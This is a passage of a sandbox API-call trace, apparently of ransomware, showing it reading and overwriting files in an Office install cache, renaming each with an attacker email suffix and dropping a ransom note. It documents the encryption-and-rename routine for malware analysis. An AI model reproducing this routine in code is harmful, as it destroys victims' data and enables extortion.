[0048.824] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.824] GetProcessHeap () returned 0x2e0000
[0048.824] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.824] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x4cf, lpOverlapped=0x0) returned 1
[0048.826] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.826] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x4cf, lpOverlapped=0x0) returned 1
[0048.826] GetProcessHeap () returned 0x2e0000
[0048.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.826] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.826] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.826] CloseHandle (hObject=0x10c) returned 1
[0048.826] GetProcessHeap () returned 0x2e0000
[0048.826] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.826] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0048.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.827] GetProcessHeap () returned 0x2e0000
[0048.827] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.827] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0048.827] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0048.827] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0048.827] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.827] GetProcessHeap () returned 0x2e0000
[0048.827] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.827] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x73c, lpOverlapped=0x0) returned 1
[0048.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.829] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x73c, lpOverlapped=0x0) returned 1
[0048.829] GetProcessHeap () returned 0x2e0000
[0048.829] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.829] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.830] CloseHandle (hObject=0x10c) returned 1
[0048.830] GetProcessHeap () returned 0x2e0000
[0048.830] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.830] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.830] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.830] GetProcessHeap () returned 0x2e0000
[0048.830] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.830] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0048.830] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0048.830] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.831] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0048.831] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0048.832] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0048.832] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0048.832] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0048.832] CloseHandle (hObject=0x10c) returned 1
[0048.832] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0048.832] GetProcessHeap () returned 0x2e0000
[0048.832] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0048.832] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1
[0048.832] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 66
[0048.832] GetProcessHeap () returned 0x2e0000
[0048.832] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0048.832] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*") returned 68
[0048.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0048.833] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.") returned 68
[0048.833] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0048.833] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.833] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0048.833] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..") returned 69
[0048.833] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0048.833] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.833] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0048.833] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0048.833] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0048.833] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.839] GetProcessHeap () returned 0x2e0000
[0048.839] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.839] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x1861, lpOverlapped=0x0) returned 1
[0048.841] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffe79f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.841] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x1861, lpOverlapped=0x0) returned 1
[0048.841] GetProcessHeap () returned 0x2e0000
[0048.841] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.841] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.841] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.841] CloseHandle (hObject=0x10c) returned 1
[0048.841] GetProcessHeap () returned 0x2e0000
[0048.841] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.841] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.844] GetProcessHeap () returned 0x2e0000
[0048.844] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.844] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1
[0048.844] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 78
[0048.845] StrStrIW (lpFirst="VisioLR.cab", lpSrch="SDfghjkl") returned 0x0
[0048.845] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.845] GetProcessHeap () returned 0x2e0000
[0048.845] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.845] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.848] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.848] GetProcessHeap () returned 0x2e0000
[0048.848] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.848] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.850] CloseHandle (hObject=0x10c) returned 1
[0048.850] GetProcessHeap () returned 0x2e0000
[0048.850] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.850] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0048.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.851] GetProcessHeap () returned 0x2e0000
[0048.851] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.851] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1
[0048.851] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 79
[0048.851] StrStrIW (lpFirst="VisioMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0048.851] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.851] GetProcessHeap () returned 0x2e0000
[0048.851] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.851] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.854] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.854] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.854] GetProcessHeap () returned 0x2e0000
[0048.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.854] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.854] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.855] CloseHandle (hObject=0x10c) returned 1
[0048.855] GetProcessHeap () returned 0x2e0000
[0048.856] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.856] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0048.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.856] GetProcessHeap () returned 0x2e0000
[0048.856] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.856] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1
[0048.856] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 79
[0048.856] StrStrIW (lpFirst="VisioMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0048.856] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.856] GetProcessHeap () returned 0x2e0000
[0048.856] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.856] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x251f, lpOverlapped=0x0) returned 1
